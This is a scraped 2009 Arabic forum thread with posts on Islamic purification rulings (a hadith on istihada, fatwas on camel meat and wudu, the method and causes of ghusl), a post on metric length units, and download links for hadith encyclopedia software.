الله -صلى الله عليه وسلم- لعمرو بن حزم: ألا يمس القرآن إلا طاهر رواه مالك مرسلا، ووصله النسائي وابن حبان، وهو معلول. == حديث: " لا إنما ذلكِ عرق وليس بحيض" الحمد لله رب العالمين، والصلاة والسلام على أشرف الأنبياء والمرسلين، نبينا محمد وعلى آله وصحبه أجمعين. قال المصنف -رحمه الله تعالى-: وعن عائشة -رضي الله عنها- قالت: جاءت فاطمة بنت أبي حبيش إلى النبي -صلى الله عليه وسلم- فقالت: يا رسول الله، إني امرأة أستحاض فلا أطهر أفأدع الصلاة؟ قال: لا إنما ذلكِ عرق وليس بحيض، فإذا أقبلت حيضتك فدعي الصلاة، وإذا أدبرت فاغسلي عنك الدم ثم صلي وللبخاري: ثم توضئي لكل صلاة وأشار مسلم إلى أنه حذفها عمدا. ====== ما هي العلة أو التفسيرالعلمي في أن لحم الإبل ينقض الوضوء، لأن عندي طلبة يسألون لماذا لحم الإبل ينقض الوضوء؟ ولا أجد إجابة. الفتوى الحمد لله والصلاة والسلام على رسول الله وعلى آله وصحبه أما بعد: فإن الواجب على كل مسلم أن يسلم لما قضاه الله عز وجل وحكم به ، ولو لم يهتد إلى الحكمة من شرعيته ، قال الله تعالى: (وَرَبُّكَ يَخْلُقُ مَا يَشَاءُ وَيَخْتَارُ مَا كَانَ لَهُمُ الْخِيَرَةُ سُبْحَانَ اللَّهِ وَتَعَ الَى عَمَّا يُشْرِكُونَ)[القصص:68] وقال تعالى: (وَمَا كَانَ لِمُؤْمِنٍ وَلا مُؤْمِنَةٍ إِذَا قَضَى اللَّهُ وَرَسُولُهُ أَمْراً أَنْ يَكُونَ لَهُمُ الْخِيَرَةُ مِنْ أَمْرِهِمْ وَمَنْ يَعْصِ اللَّهَ وَرَسُولَهُ فَقَدْ ضَلَّ ضَلالاً مُبِيناً) [الأحزاب:36]. ولكن تلمس الحكمة من شرعية أحكام الله عز وجل لا حرج فيه ، لأنه يزيد في الإيمان ، وقد تلمس شيخ الإسلام ابن تيمية رحمه الله تعالى الحكمة في كون أكل لحم الإبل ينقض الوضوء ، وغيره من اللحوم لا ينقض ، فقال: (ثم إن الإمام أحمد وغيره من علماء الحديث زادوا في متابعة السنة على غيرهم ، بأن أمروا بما أمر الله به ورسوله مما يزيل ضرر بعض المباحات ، مثل لحوم الإبل ، فإنها حلال بالكتاب ، والسنة ، والإجماع ، ولكن فيها من القوة الشيطانية ما أشار إليه النبي صلى الله عليه وسلم بقوله: "إنها جن خلقت من جن" وقد قال النبي صلى الله عليه وسلم فيما رواه أبو داود: "الغضب من الشيطان ، وإن الشيطان من النار ، وإنما تطفأ النار بالماء ، فإذا غضب أحدكم فليتوضأ" فأمر بالتوضؤ من الأمر العارض من الشيطان ، فأكل لحمها يورث قوة شيطانية ، تزول بما أمر به النبي صلى الله عليه وسلم من الوضوء من لحمها ، كما صح ذلك عنه صلى الله عليه وسلم من غير وجه ، فمن توضأ من لحمها اندفع عنه ما يصيب المدمنين لأكلها من غير وضوء كالأعراب ، من الحقد ، وقسوة القلب ، التي أشار إليها النبي صلى الله عليه وسلم في الصحيحين: "إن الغل ظة وقسوة القلوب في الفدادين ، أصحاب الإبل ، والسكينة في أهل الغنم." ا.هـ والله أعلم. ==== الحكمة في اكل لحم الابل وعليكم السلام ورحمة الله وبركاته جزاك الله خيرا وزادك الله علما ونورا الحكمة من وجوب الوضوء من لحم الإبل يجاب بجوابين : الأول : أن الحكمة أمر النبي صلى الله عليه وسلم ، وكُلُ ماأتى به صلى الله عليه وسلم من الأحكام فهو حكمة . قال تعالى : (وماكان لمُؤمنٍ ولا مُؤمنةٍ إذا قضى الله ورسوله أمراً أن يكون لهم الخِيرة مِن أمرِهم ) الأحزاب36. وحديث عائشة لما سُئلت ، مابال الحائض تقضي الصوم ولاتقضي الصلاة قالت : ( كان يصيبنا ذلك على عهد رسول الله صلى الله عليه وسلم فنؤمر بقضاء الصوم ولا نؤمر بقضاء الصلاة ) . أخرجه البخاري ولأننا نؤمن - ولله الحمد – أن الله لايأمر بشيء ، إلا والحكمة تقتضي فعله ، ولاينهى عن شيء إلا والحكمة تقتضي تركه . الثاني : أن بعض العلماء التمس حكمة فقال : إن لحم الإبل شديد التأثير على الأعصاب ، فيهيجها ، ولهذا الطب الحديث ينهى الإنسان العصبي من الإكثار من لحم الإبل ، والوضوء يسكن الأعصاب ويبردها . كما أمر النبي صلى الله عليه وسلم بالوضوء عند الغضب لأجل تسكينه . وسواء كانت هذه الحكمة أم لا فإن الحكمة هي أمر النبي صلى الله عليه وسلم لكن إن علمنا الحكمة فهذا من الله وزيادة علم ، وإن لم نعلم فعلينا التسليم والإنقياد . المرجع : كتاب الشرح الممتع على زاد المستقنع ، للشيخ : محمد بن عثيمين - رحمه الله – ج/1 - 252 ===== السؤال ما هي طريقة الاغتسال الصحيح؟ وما هي موجبات الاغتسال؟ الجواب فإن الغسل يختلف عن الوضوء في حكمه وموجباته ، وفي صفته وكيفيته . والغسل نوعان: كامل ومجزئ. فالكامل: أن ينوي ثم يسمي ثم يغسل يديه ثلاثاً، ثم يغسل ما أصابه الأذى ، ثم يتوضأ وضوءه للصلاة، ثم يحثي على رأسه ثلاث حثيات، يروي بها أصول شعره، ثم يفيض الماء على بقية جسده، يبدأ بشقه الأيمن ثم الأيسر، ويدلك بدنه. مع الاعتناء بإيصال الماء إلى جميع بدنه وشعره. والأصل في ذلك ما في الصحيحين عن عائشة رضى الله عنها أن النبي صلى الله عليه وسلم كان إذا اغتسل من الجنابة يبدأ فيغسل يديه ثم يفرغ بيمينه على شماله فيغسل فرجه ثم يتوضأ وضوءه للصلاة، ثم يأخذ الماء ويدخل أصابعه في أصول الشعر حتى إذا رأى أن قد استبرأ، حفن على رأسه ثلاث حفنات ثم أفاض على سائر جسده ثم غسل رجليه". وفي رواية لهما: " ثم يخلل بيديه شعره حتى إذا ظن أنه قد أروى بشرته أفاض عليه الماء ثلاث مرات". ولما في الصحيحين أيضا عن ميمونة رضي الله عنها قالت: " وضعت للنبي صلى الله عليه وسلم ماء يغتسل به، فأفرغ على يديه فغسلهما مرتين أو ثلاثاً ، ثم أفرغ بيمينه على شماله فغسل مذاكيره ثم دلك يده بالأرض ثم مضمض واستنشق ثم غسل وجهه ويديه ثم غسل رأسه ثلاثًا ثم أفرغ على جسده ثم تنحى عن مقامه ذلك فغسل قدميه". وأما الغسل المجزئ : فهو أن يزيل ما به من نجاسة وينوي ويسمي ثم يعم بدنه بالغسل ، حتى فمه وأنفه ، وظاهر شعره وباطنه. والغسل إما واجب وإما مستحب. وموجبات الغسل ستة: أحدها: خروج المني بلذة من غير نائم. فإن كان من نائم فلا يشترط وجود اللذة، وهو ما يسمى بالاحتلام. الثاني: تغييب حشفة في فرج. وهو المعروف بالتقاء الختانين ( الجماع) لحديث "إذا جلس بين شعبها الأربع ثم جهدها فقد وجب الغسل" متفق عليه. زاد أحمد ومسلم " وإن لم ينزل". الثالث: إسلام الكافر. الرابع: خروج دم الحيض، وهو دم أسود منتن يرخيه رحم المرأة، ويخرج من القبل حال الصحة، وانقطاعه شرط لصحة الغسل له. الخامس: خروج دم النفاس، وهو الدم الخارج من قبل المرأة بسبب الولادة، والغسل في كل ماسبق يغني عن الوضوء ، لأن الحدث الأصغر يدخل في الحدث الأكبر ، ولا عكس ، فلا يجزيء الوضوء عن الغسل في أي منها. السادس: الموت ، غير شهيد المعركة والمقتول ظلما فلا يغسّل. وأما الأغسال المستحبة فكثيرة ، منها: 1ـ غسل الجمعة، وقيل بوجوبه، والأحوط المحافظة عليه. 2ـ الغسل للإحرام بالعمرة أو الحج. 3ـ غسل العيدين. 4ـ غسل من غسل ميتا. وغير ذلك. والله أعلم. ====== للاسئله http://www.islamweb.net/ver2/Fatwa/index.php?#ask ====== التعديل الأخير تم بواسطة مدرب كرة قدم ; 04-19-2009 الساعة 05:39 PM |
||||
|
|
|
04-04-2009, 11:59 PM
|
#25 | ||||
|
== السنتيمتر ه السنتيمتر يرمز له بـ "سم" يساوي 0.01 م متر. 1 سم =0.01 م ؛ 1 متر = 100 سم. فإن السنتيمتر هو وحدة على قاعدة س غ ث. يسمح بتعريف وحدات كل من: وحدة فضاء ، سنتيمتر مربع (سم ²) : سنتيمتر مربع هي مساحة مربع من 1 سم للضلع. ذلك ، هو واحد من عشرة آلاف من متر مربع 1 سم² = 0,000 1 م²1 ، م² = 10 000 سم² وحدة حجم ، سنتيمتر مكعب (سم³) : السنتيمتر المكعب هو حجم مكعب ذو 1 سم للضلع هو واحد من المليون متر مكعب ، والالف من لتر1 سم³ = 0,000 001 م³1 ، م³ = 1 000 000 سم³1 ، سم³ = 0,001 ل ، 1 ل = 1 000 سم³. وبمقارنتها مع غيرها من وحدات الطول :1 سم = 0,393 7 بوصة ، 1 بوصة = 2,54 سم ، 1 سم = 0,032 808 قدم ؛ 1 قدم = 30,48 سم 1 سم = 0,010 936 ياردة ؛ 1 ياردة = 91,44 سم مليمتر : تتكون من شقين مل (باللاتينية: milli) و تعني واحد من ألف، و متر (باللاتينية: meter) وهي وحدة القياس الدولية المعروفة و المستخدمة لقياس الطول، و يتبين من ذلك أن المليمتر يساوي واحد من ألف من الطول الفعلي للمتر 0,001 م ؛ و هذه الوحدة تستخدم لقياس الأطوال الصغيرة. الميكرومتر (إنجليزية إنجلترا: Micrometre) (إنجليزية أمريكا: micrometer) هو وحدة طول في النظام الدولي للوحدات تعادل جزء من مليون من المتر يرمز إليه بـ µm. أنجستروم أو أنغستروم : وحدة قياس للطول تساوي 10( أس - 10 ) من المتر (أي جزء من عشرة مليار من المتر). وقد سميت هذه الوحدة نسبة إلى العالم آندرز أنغستروم. كوادريليون هو عدد يساوي مليون مليار. يكتب الكوادريليون كما يلي: 000 000 000 000 000 1 (واحد عن يمينه خمسة عشر صفرا). فمتومتر: هو جزء من كوادريليون جزء من المتر. يرمز له ب فم أو fm. نانومتر واحد يعادل مليون فمتومتر. و النانومتر هو جزء من مليار جزء من المتر. تستخدم هذه الوحدة لقياس الأطوال الصغيرة جداً والي غالباً ما تكون من أبعاد الذرة ، يرمز لها بـ نم أو nm. يستخدم مصطلح نانو حالياً من أجل الدلالة على اختصاصات التقانة التي تعمل ضمن هذا المجال والتي تسمى تقانة النانو والتي غالبا ما تكون في كيمياء السطوح أو صناعة أنصاف النواقل. تستخدم هذه الوحدة أيضا لوصف أطوال الموجة في المجال المرئي الذي يتراوح بين 400 - 700 نانومتر. اسامة توفيق - معلم أول "أ" الرياضات === التعديل الأخير تم بواسطة مدرب كرة قدم ; 04-19-2009 الساعة 04:40 PM |
||||
|
|
|
04-05-2009, 12:00 AM
|
#27 | ||||
|
===== السلام عليكم ورحمة الله وبركاته اسطوانة لتحميل موسوعة الحديث هنا وضعت الموقع لتحميل منه مايلزمه فهو موقع لفائدة المسلمين الموقع لتحميل موسوعة الحديث http://ostowanat.googlepages.com/64 هنا ايظا لتحميل الاسطوانه مباشرة تحميل الموسوعة للحديث RapidShare: Easy Filehosting موقع اخر ايظا يمكنك ان تحمل منه الاسطوانة اخرى لموسوعة الحديث للكتب التسعه موقع اخر لموسوعة الحديث للكتب التسعه Ministry of Al-Awkaf ايظا موقع اخر للموسوع الحديث مباشر http://www.dorar.net/enc/hadith ======== التعديل الأخير تم بواسطة مدرب كرة قدم ; 05-03-2009 الساعة 01:24 PM |
||||
|
|
|
|
|
العرض العادي
